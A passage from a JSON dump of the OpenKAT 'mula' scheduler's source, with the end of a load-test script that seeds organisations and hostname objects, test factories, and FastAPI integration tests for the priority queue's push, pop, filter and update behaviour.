\"object_type\": \"Hostname\",\n                    \"primary_key\": f\"Hostname|internet|{name}\",\n                    \"network\": \"Network|internet\",\n                    \"name\": f\"{name}\",\n                    \"registered_domain\": None,\n                    \"dns_zone\": None,\n                    \"scan_profile\": {\n                        \"scan_profile_type\": \"declared\",\n                        \"level\": 1,\n                        \"reference\": f\"Hostname|internet|{name}\",\n                    },\n                },\n                \"valid_time\": datetime.now(timezone.utc).isoformat(),\n                \"method\": None,\n                \"task_id\": str(uuid.uuid4()),\n            }\n            declarations.append(declaration)\n\n    ooi_num = max(1, min(ooi_num, len(declarations)))\n\n    for org in orgs:\n        for declaration in declarations[:ooi_num]:\n            resp_octopoes_decl = octopoes_client.post(f\"/{org.get('id')}/declarations\", json=declaration, timeout=30)\n\n            try:\n                resp_octopoes_decl.raise_for_status()\n            except httpx.HTTPError:\n                logger.info(\"Error creating declaration %s\", declaration)\n                logger.info(resp_octopoes_decl.text)\n                raise\n\n            logger.info(\"Org %s created declaration %s\", org.get(\"id\"), declaration)\n\n            resp_octopoes_scan_profile = octopoes_client.put(\n                url=f\"/{org.get('id')}/scan_profiles\",\n                params={\"valid_time\": str(datetime.now(timezone.utc))},\n                json={\n                    \"scan_profile_type\": \"declared\",\n                    \"reference\": declaration.get(\"ooi\").get(\"scan_profile\").get(\"reference\"),\n                    \"level\": declaration.get(\"ooi\").get(\"scan_profile\").get(\"level\"),\n                },\n                timeout=30,\n            )\n\n            try:\n                resp_octopoes_scan_profile.raise_for_status()\n            except httpx.HTTPError:\n                logger.info(\"Error creating scan profile %s\", declaration.get(\"ooi\").get(\"scan_profile\"))\n                logger.info(resp_octopoes_scan_profile.text)\n                raise\n\n            logger.info(\"Org %s created scan profile %s\", org.get(\"id\"), declaration.get(\"ooi\").get(\"scan_profile\"))\n\n\ndef enable_boefjes(orgs: list[dict[str, Any]], boefjes_str: str = \"dns-records,dns-zone\") -> None:\n    boefjes = [boefje.strip() for boefje in boefjes_str.split(\",\")]\n    if not boefjes:\n        logger.info(\"No boefjes specified to enable\")\n        return\n\n    for org in orgs:\n        # Enable boefjes for organisation\n        for boefje_id in boefjes:\n            resp_enable_boefje = katalogus_client.patch(\n                url=f\"/v1/organisations/{org.get('id')}/plugins/{boefje_id}\", json={\"enabled\": True}, timeout=30\n            )\n\n            try:\n                resp_enable_boefje.raise_for_status()\n            except httpx.HTTPError:\n                logger.info(\"Error enabling boefje %s\", boefje_id)\n                raise\n\n            logger.info(\"Enabled boefje %s\", boefje_id)\n\n\ndef run(org_num: int = 1, ooi_num: int = 10, boefjes_str: str = \"dns-records,dns-zone\") -> None:\n    # Create organisations\n    orgs = create_organisations(org_num=org_num)\n\n    # Create OOIs\n    create_oois(orgs=orgs, ooi_num=ooi_num)\n\n    # Enable boefjes\n    enable_boefjes(orgs=orgs, boefjes_str=boefjes_str)\n\n\nif __name__ == \"__main__\":\n    # Setup command line interface\n    parser = argparse.ArgumentParser(description=\"Load test the scheduler\")\n\n    # Add arguments\n    parser.add_argument(\"--orgs\", type=int, default=1, help=\"Number of organisations to create\")\n\n    parser.add_argument(\"--oois\", type=int, default=10, help=\"Number of OOIs to create per organisation\")\n\n    parser.add_argument(\n        \"--boefjes\", type=str, default=\"dns-records,dns-zone\", help=\"Comma-separated list of boefjes to enable\"\n    )\n\n    # Parse arguments\n    args = parser.parse_args()\n\n    run(org_num=args.orgs, ooi_num=args.oois, boefjes_str=args.boefjes)\n"
  },
  {
    "path": "mula/setup.py",
    "content": "from setuptools import find_packages, setup\n\nsetup(\n    name=\"mula\",\n    author=\"MinVWS\",\n    url=\"https://openkat.nl/\",\n    packages=find_packages(exclude=\"tests\"),\n    include_package_data=True,\n)\n"
  },
  {
    "path": "mula/tests/__init__.py",
    "content": ""
  },
  {
    "path": "mula/tests/factories/__init__.py",
    "content": "from .boefje import BoefjeFactory, BoefjeMetaFactory\nfrom .normalizer import NormalizerFactory\nfrom .ooi import OOIFactory, ScanProfileFactory\nfrom .organisation import OrganisationFactory\nfrom .plugin import PluginFactory\nfrom .raw_data import RawDataFactory\n"
  },
  {
    "path": "mula/tests/factories/boefje.py",
    "content": "from datetime import datetime, timedelta, timezone\nfrom typing import Any\n\nfrom factory import Factory, Faker\nfrom scheduler.models import Boefje, BoefjeMeta\n\n\nclass BoefjeFactory(Factory):\n    class Meta:\n        model = Boefje\n\n    id: str = Faker(\"uuid4\")\n    name: str = Faker(\"name\")\n    description: str = Faker(\"text\")\n\n\nclass BoefjeMetaFactory(Factory):\n    class Meta:\n        model = BoefjeMeta\n\n    id: str = Faker(\"uuid4\")\n    arguments: dict[str, Any] = {}\n    organization: str = Faker(\"company\")\n    started_at: datetime = datetime.now(timezone.utc) - timedelta(days=2)\n    ended_at: datetime = datetime.now(timezone.utc) - timedelta(days=2)\n"
  },
  {
    "path": "mula/tests/factories/normalizer.py",
    "content": "from factory import Factory, Faker\nfrom scheduler.models import Normalizer\n\n\nclass NormalizerFactory(Factory):\n    class Meta:\n        model = Normalizer\n\n    id: str = Faker(\"uuid4\")\n    name: str = Faker(\"name\")\n    description: str = Faker(\"text\")\n"
  },
  {
    "path": "mula/tests/factories/ooi.py",
    "content": "from factory import Factory, Faker, fuzzy\nfrom scheduler.models import OOI, ScanProfile\n\n\nclass ScanProfileFactory(Factory):\n    class Meta:\n        model = ScanProfile\n\n    level: int = fuzzy.FuzzyInteger(0, 4)\n\n    scan_profile_type: str = Faker(\"random_element\", elements=[\"declared\", \"empty\", \"inherited\"])\n\n    reference: str = Faker(\"uuid4\")\n\n\nclass OOIFactory(Factory):\n    class Meta:\n        model = OOI\n\n    primary_key: str = Faker(\"uuid4\")\n\n    scan_profile: ScanProfile\n\n    object_type: str = Faker(\"random_element\", elements=[\"Hostname\", \"Network\"])\n\n    organisation_id: str = Faker(\"uuid4\")\n"
  },
  {
    "path": "mula/tests/factories/organisation.py",
    "content": "from factory import Factory, Faker\nfrom scheduler.models import Organisation\n\n\nclass OrganisationFactory(Factory):\n    class Meta:\n        model = Organisation\n\n    id: str = Faker(\"uuid4\")\n    name: str = Faker(\"company\")\n"
  },
  {
    "path": "mula/tests/factories/plugin.py",
    "content": "from factory import Factory, LazyFunction, Sequence, fuzzy\nfrom scheduler.models import Plugin\nfrom scheduler.models.ooi import RunOn\n\n\nclass PluginFactory(Factory):\n    class Meta:\n        model = Plugin\n\n    id: str = Sequence(lambda n: f\"plugin-{n}\")\n    type: str = fuzzy.FuzzyChoice([\"boefje\"])\n    consumes: list[str] = LazyFunction(lambda: [])\n    produces: list[str] = LazyFunction(lambda: [])\n    enabled: bool = True\n    cron: str | None = None\n    interval: int | None = None\n    run_on: RunOn | None = None\n"
  },
  {
    "path": "mula/tests/factories/raw_data.py",
    "content": "from factory import Factory, Faker\nfrom scheduler.models import BoefjeMeta, RawData\n\n\nclass RawDataFactory(Factory):\n    class Meta:\n        model = RawData\n\n    id: str = Faker(\"uuid4\")\n    boefje_meta: BoefjeMeta = None\n    mime_types: list[dict[str, str]] = [{\"value\": \"text/plain\"}, {\"value\": \"text/html\"}, {\"value\": \"text/xml\"}]\n    secure_hash: str = \"\"\n    hash_retrieval_link: str = \"\"\n"
  },
  {
    "path": "mula/tests/integration/__init__.py",
    "content": ""
  },
  {
    "path": "mula/tests/integration/test_api.py",
    "content": "import json\nimport unittest\nimport uuid\nfrom datetime import datetime, timedelta, timezone\nfrom types import SimpleNamespace\nfrom unittest import mock\nfrom urllib.parse import quote\nfrom uuid import UUID\n\nfrom fastapi.testclient import TestClient\nfrom scheduler import config, models, server, storage, utils\nfrom scheduler.server import schemas\nfrom scheduler.storage import stores\n\nfrom tests.factories import OrganisationFactory\nfrom tests.mocks import queue as mock_queue\nfrom tests.mocks import scheduler as mock_scheduler\nfrom tests.utils import functions\nfrom tests.utils.functions import create_task_push_dict\n\n\nclass APITemplateTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n                stores.ScheduleStore.name: stores.ScheduleStore(self.dbconn),\n            }\n        )\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n        # Queue and Scheduler\n        queue = mock_queue.MockPriorityQueue(\n            pq_id=self.organisation.id,\n            maxsize=10,\n            item_type=functions.TestModel,\n            allow_priority_updates=True,\n            pq_store=self.mock_ctx.datastores.pq_store,\n        )\n\n        self.scheduler = mock_scheduler.MockScheduler(\n            ctx=self.mock_ctx, scheduler_id=self.organisation.id, queue=queue, create_schedule=True\n        )\n\n        # API server and Test Client\n        self.server = server.Server(self.mock_ctx, {self.scheduler.scheduler_id: self.scheduler})\n        self.client = TestClient(self.server.api)\n\n    def tearDown(self):\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.scheduler.stop()\n        self.dbconn.engine.dispose()\n\n\nclass APISchedulerEndpointTestCase(APITemplateTestCase):\n    def test_get_schedulers(self):\n        response = self.client.get(\"/schedulers\")\n        self.assertEqual(response.status_code, 200)\n\n    def test_get_scheduler(self):\n        response = self.client.get(f\"/schedulers/{self.scheduler.scheduler_id}\")\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(response.json().get(\"id\"), self.scheduler.scheduler_id)\n\n    def test_get_scheduler_malformed_id(self):\n        response = self.client.get(\"/schedulers/123.123\")\n        self.assertEqual(response.status_code, 404)\n\n    def test_push_queue(self):\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        item = create_task_push_dict(1, self.organisation.id)\n\n        response_post = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=item)\n        self.assertEqual(201, response_post.status_code)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertIsNotNone(response_post.json().get(\"id\"))\n\n        # Task should be created\n        response_get_task = self.client.get(f\"/tasks/{response_post.json().get('id')}\")\n        self.assertEqual(200, response_get_task.status_code)\n        self.assertEqual(response_post.json().get(\"id\"), response_get_task.json().get(\"id\"))\n\n        # Schedule should be created, and schedule_id should be in the\n        # response of the post request\n        response_get_schedule = self.client.get(f\"/schedules/{response_post.json().get('schedule_id')}\")\n        self.assertEqual(200, response_get_schedule.status_code)\n        self.assertEqual(response_post.json().get(\"schedule_id\"), response_get_schedule.json().get(\"id\"))\n\n    def test_push_queue_malformed_item(self):\n        item = create_task_push_dict(1, self.organisation.id)\n        item[\"extra_field\"] = \"extra\"\n\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=item)\n        self.assertEqual(response.status_code, 422)\n        self.assertIn(\"Extra inputs are not permitted\", response.text)\n\n    def test_push_incorrect_item_type(self):\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/push\", json={\"organisation\": self.organisation.id, \"data\": {}}\n        )\n        self.assertEqual(response.status_code, 400)\n        self.assertEqual(response.json(), {\"detail\": \"Bad request error occurred: malformed item\"})\n\n    def test_push_queue_full(self):\n        # Set maxsize of the queue to 1\n        self.scheduler.queue.maxsize = 1\n\n        # Add one task to the queue\n        first_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Try to add another task to the queue through the api\n        second_item = create_task_push_dict(2, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        self.assertEqual(response.status_code, 429)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n    def test_push_queue_full_high_priority(self):\n        # Set maxsize of the queue to 1\n        self.scheduler.queue.maxsize = 1\n\n        # Add one task to the queue\n        first_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Try to add another task to the queue through the api\n        second_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(2, self.scheduler.queue.qsize())\n\n    def test_push_replace_not_allowed(self):\n        \"\"\"When pushing an item that is already in the queue the item\n        shouldn't be pushed.\n        \"\"\"\n        # Set queue to not allow duplicates\n        self.scheduler.queue.allow_replace = False\n        self.scheduler.queue.allow_updates = False\n        self.scheduler.queue.allow_priority_updates = False\n\n        # Add one task to the queue\n        initial_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Add the same item again through the api\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n\n        # The queue should still have one item\n        self.assertEqual(response.status_code, 409)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertIn(\"Conflict error occurred: queue is not allowed to push items\", response.text)\n\n    def test_push_replace_allowed(self):\n        # Set queue to not allow duplicates\n        self.scheduler.queue.allow_replace = True\n\n        # Add one task to the queue\n        initial_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Add the same item again through the api\n        updated_item = schemas.TaskPush(**initial_item)\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=updated_item.model_dump(exclude_none=True)\n        )\n\n        # The queue should have one item\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Check if the item on the queue is the replaced item\n        self.assertEqual(response.json().get(\"data\").get(\"id\"), str(self.scheduler.queue.peek(0).data.get(\"id\")))\n\n    def test_push_updates_not_allowed(self):\n        # Set queue to no allow updates\n        self.scheduler.queue.allow_replace = False\n        self.scheduler.queue.allow_updates = False\n        self.scheduler.queue.allow_priority_updates = False\n\n        # Add one task to the queue\n        initial_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Update the item\n        updated_item = schemas.TaskPush(**initial_item)\n        updated_item.id = UUID(response.json().get(\"id\"))\n        updated_item.data[\"name\"] = \"updated-name\"\n\n        # Try to update the item through the api\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=updated_item.model_dump(mode=\"json\")\n        )\n\n        # The queue should still have one item\n        self.assertEqual(response.status_code, 409)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(response.json(), {\"detail\": \"Conflict error occurred: queue is not allowed to push items\"})\n\n    def test_push_updates_allowed(self):\n        # Set queue to allow updates\n        self.scheduler.queue.allow_updates = True\n\n        # Add one task to the queue\n        initial_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Update the item\n        updated_item = schemas.TaskPush(**initial_item)\n        updated_item.id = UUID(response.json().get(\"id\"))\n        updated_item.data[\"name\"] = \"updated-name\"\n\n        # Try to update the item through the api\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=updated_item.model_dump(mode=\"json\")\n        )\n        self.assertEqual(response.status_code, 201)\n\n        # The queue should have one item\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Check if the item on the queue is the updated item\n        self.assertEqual(response.json().get(\"data\").get(\"id\"), str(self.scheduler.queue.peek(0).data.get(\"id\")))\n        self.assertEqual(response.json().get(\"data\").get(\"name\"), \"updated-name\")\n\n    def test_push_priority_updates_not_allowed(self):\n        # Set queue to no allow updates\n        self.scheduler.queue.allow_replace = False\n        self.scheduler.queue.allow_updates = True\n        self.scheduler.queue.allow_priority_updates = False\n\n        # Add one task to the queue\n        initial_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Update the item\n        updated_item = schemas.TaskPush(**initial_item)\n        updated_item.priority = 2\n\n        # Try to update the item through the api\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=updated_item.model_dump(exclude_none=True)\n        )\n\n        # The queue should still have one item\n        self.assertEqual(response.status_code, 409)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertEqual(response.json(), {\"detail\": \"Conflict error occurred: queue is not allowed to push items\"})\n\n    def test_update_priority_higher(self):\n        \"\"\"When updating the priority of the initial item on the priority queue\n        to a higher priority, the updated item should be added to the queue,\n        the initial item should be marked as removed, and the initial removed\n        from the entry_finder.\n        \"\"\"\n        # Set queue to allow updates\n        self.scheduler.queue.allow_priority_updates = True\n\n        # Add one task to the queue\n        initial_item = create_task_push_dict(2, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        self.assertEqual(response.status_code, 201)\n\n        # Update priority of the item\n        updated_item = schemas.TaskPush(**initial_item)\n        updated_item.priority = 1\n\n        # Try to update the item through the api\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=updated_item.model_dump(exclude_none=True)\n        )\n        self.assertEqual(response.status_code, 201)\n\n        # The queue should have one item\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Check if the item on the queue is the updated item\n        self.assertEqual(response.json().get(\"data\").get(\"id\"), str(self.scheduler.queue.peek(0).data.get(\"id\")))\n\n    def test_update_priority_lower(self):\n        \"\"\"When updating the priority of the initial item on the priority queue\n        to a lower priority, the updated item should be added to the queue,\n        the initial item should be marked as removed, and the initial removed\n        from the entry_finder.\n        \"\"\"\n        # Set queue to allow updates\n        self.scheduler.queue.allow_priority_updates = True\n\n        # Add one task to the queue\n        initial_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        self.assertEqual(response.status_code, 201)\n\n        # Update priority of the item\n        updated_item = schemas.Task(**initial_item)\n        updated_item.id = UUID(response.json().get(\"id\"))\n        updated_item.priority = 2\n\n        # Try to update the item through the api\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/push\",\n            json=updated_item.model_dump(mode=\"json\", exclude_none=True),\n        )\n        self.assertEqual(response.status_code, 201)\n\n        # The queue should have one item\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Check if the item on the queue is the updated item\n        self.assertEqual(response.json().get(\"data\").get(\"id\"), str(self.scheduler.queue.peek(0).data.get(\"id\")))\n\n    def test_pop_queue(self):\n        # Add one task to the queue\n        initial_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=initial_item)\n        initial_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/pop\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json().get(\"results\")))\n        self.assertEqual(initial_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Status of the item should be DISPATCHED\n        get_item = self.client.get(f\"/tasks/{initial_item_id}\")\n        self.assertEqual(get_item.json().get(\"status\"), models.TaskStatus.DISPATCHED.name.lower())\n\n    def test_pop_queue_multiple(self):\n        # Add one task to the queue\n        first_item = create_task_push_dict(1, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        first_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Add second item to the queue\n        second_item = create_task_push_dict(2, self.organisation.id)\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        second_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(2, self.scheduler.queue.qsize())\n\n        # Should get two items, and queue should be empty\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/pop?limit=2\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, len(response.json().get(\"results\")))\n        self.assertEqual(first_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(second_item_id, response.json().get(\"results\")[1].get(\"id\"))\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Status of the items should be DISPATCHED\n        get_first_item = self.client.get(f\"/tasks/{first_item_id}\")\n        get_second_item = self.client.get(f\"/tasks/{second_item_id}\")\n        self.assertEqual(get_first_item.json().get(\"status\"), models.TaskStatus.DISPATCHED.name.lower())\n        self.assertEqual(get_second_item.json().get(\"status\"), models.TaskStatus.DISPATCHED.name.lower())\n\n    def test_pop_queue_multiple_pagination(self):\n        # Add 10 tasks to the queue\n        for i in range(10):\n            item = create_task_push_dict(1, self.organisation.id)\n            response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=item)\n            self.assertEqual(response.status_code, 201)\n\n        # Queue should have 10 items\n        self.assertEqual(10, self.scheduler.queue.qsize())\n\n        # Should get 5 items, and queue should have 5 items\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/pop?limit=5\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(5, len(response.json().get(\"results\")))\n        self.assertEqual(5, self.scheduler.queue.qsize())\n\n        # Status of the items should be DISPATCHED\n        for item in response.json().get(\"results\"):\n            get_item = self.client.get(f\"/tasks/{item.get('id')}\")\n            self.assertEqual(get_item.json().get(\"status\"), models.TaskStatus.DISPATCHED.name.lower())\n\n        # Should get 5 items, and queue should be empty\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/pop?limit=5\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(5, len(response.json().get(\"results\")))\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Status of the items should be DISPATCHED\n        for item in response.json().get(\"results\"):\n            get_item = self.client.get(f\"/tasks/{item.get('id')}\")\n            self.assertEqual(get_item.json().get(\"status\"), models.TaskStatus.DISPATCHED.name.lower())\n\n    def test_pop_queue_not_found(self):\n        mock_id = uuid.uuid4()\n        response = self.client.post(f\"/schedulers/{mock_id}/pop\")\n        self.assertEqual(404, response.status_code)\n\n    def test_pop_queue_filters_two_items(self):\n        # Add one task to the queue\n        first_item = create_task_push_dict(1, self.organisation.id, data=functions.TestModel(id=\"123\", name=\"test\"))\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        first_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Add second item to the queue\n        second_item = create_task_push_dict(2, self.organisation.id, data=functions.TestModel(id=\"456\", name=\"test\"))\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        second_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(2, self.scheduler.queue.qsize())\n\n        # Should get two items, and queue should be empty\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/pop?limit=2\",\n            json={\"filters\": [{\"column\": \"data\", \"field\": \"name\", \"operator\": \"eq\", \"value\": \"test\"}]},\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, len(response.json().get(\"results\")))\n        self.assertEqual(first_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(second_item_id, response.json().get(\"results\")[1].get(\"id\"))\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n        # Status of the items should be DISPATCHED\n        get_first_item = self.client.get(f\"/tasks/{first_item_id}\")\n        get_second_item = self.client.get(f\"/tasks/{second_item_id}\")\n        self.assertEqual(get_first_item.json().get(\"status\"), models.TaskStatus.DISPATCHED.name.lower())\n        self.assertEqual(get_second_item.json().get(\"status\"), models.TaskStatus.DISPATCHED.name.lower())\n\n    def test_pop_queue_filters_one_item(self):\n        # Add one task to the queue\n        first_item = create_task_push_dict(1, self.organisation.id, data=functions.TestModel(id=\"123\", name=\"test\"))\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        first_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Add second item to the queue\n        second_item = create_task_push_dict(2, self.organisation.id, data=functions.TestModel(id=\"456\", name=\"test\"))\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        second_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(2, self.scheduler.queue.qsize())\n\n        # Should get the first item, and should still be an item on the queue\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/pop\",\n            json={\"filters\": [{\"column\": \"data\", \"field\": \"id\", \"operator\": \"eq\", \"value\": \"123\"}]},\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json().get(\"results\")))\n        self.assertEqual(first_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Should get the second item, and should be no items on the queue\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/pop\",\n            json={\"filters\": [{\"column\": \"data\", \"field\": \"id\", \"operator\": \"eq\", \"value\": \"456\"}]},\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json().get(\"results\")))\n        self.assertEqual(second_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_pop_queue_filters_nested(self):\n        # Add one task to the queue\n        first_item = create_task_push_dict(\n            1, self.organisation.id, data=functions.TestModel(id=\"123\", name=\"test\", categories=[\"foo\", \"bar\"])\n        )\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        first_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Add second item to the queue\n        second_item = create_task_push_dict(\n            2, self.organisation.id, data=functions.TestModel(id=\"456\", name=\"test\", categories=[\"baz\", \"bat\"])\n        )\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        second_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(2, self.scheduler.queue.qsize())\n\n        # Should get the first item\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/pop\",\n            json={\n                \"filters\": [{\"column\": \"data\", \"operator\": \"@>\", \"value\": json.dumps({\"categories\": [\"foo\", \"bar\"]})}]\n            },\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(first_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Should not return any items\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/pop\",\n            json={\n                \"filters\": [{\"column\": \"data\", \"operator\": \"@>\", \"value\": json.dumps({\"categories\": [\"foo\", \"bar\"]})}]\n            },\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, len(response.json().get(\"results\")))\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Should get the second item\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/pop\",\n            json={\n                \"filters\": [{\"column\": \"data\", \"operator\": \"@>\", \"value\": json.dumps({\"categories\": [\"baz\", \"bat\"]})}]\n            },\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(second_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(0, self.scheduler.queue.qsize())\n\n    def test_pop_queue_filters_nested_contained_by(self):\n        # Add one task to the queue\n        first_item = create_task_push_dict(\n            1, self.organisation.id, data=functions.TestModel(id=\"123\", name=\"test\", categories=[\"foo\", \"bar\"])\n        )\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        # Add second item to the queue\n        second_item = create_task_push_dict(\n            2, self.organisation.id, data=functions.TestModel(id=\"456\", name=\"test\", categories=[\"baz\", \"bat\"])\n        )\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        second_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(2, self.scheduler.queue.qsize())\n\n        # Test contained by\n        response = self.client.post(\n            f\"/schedulers/{self.scheduler.scheduler_id}/pop\",\n            json={\n                \"filters\": [\n                    {\"column\": \"data\", \"operator\": \"<@\", \"field\": \"categories\", \"value\": 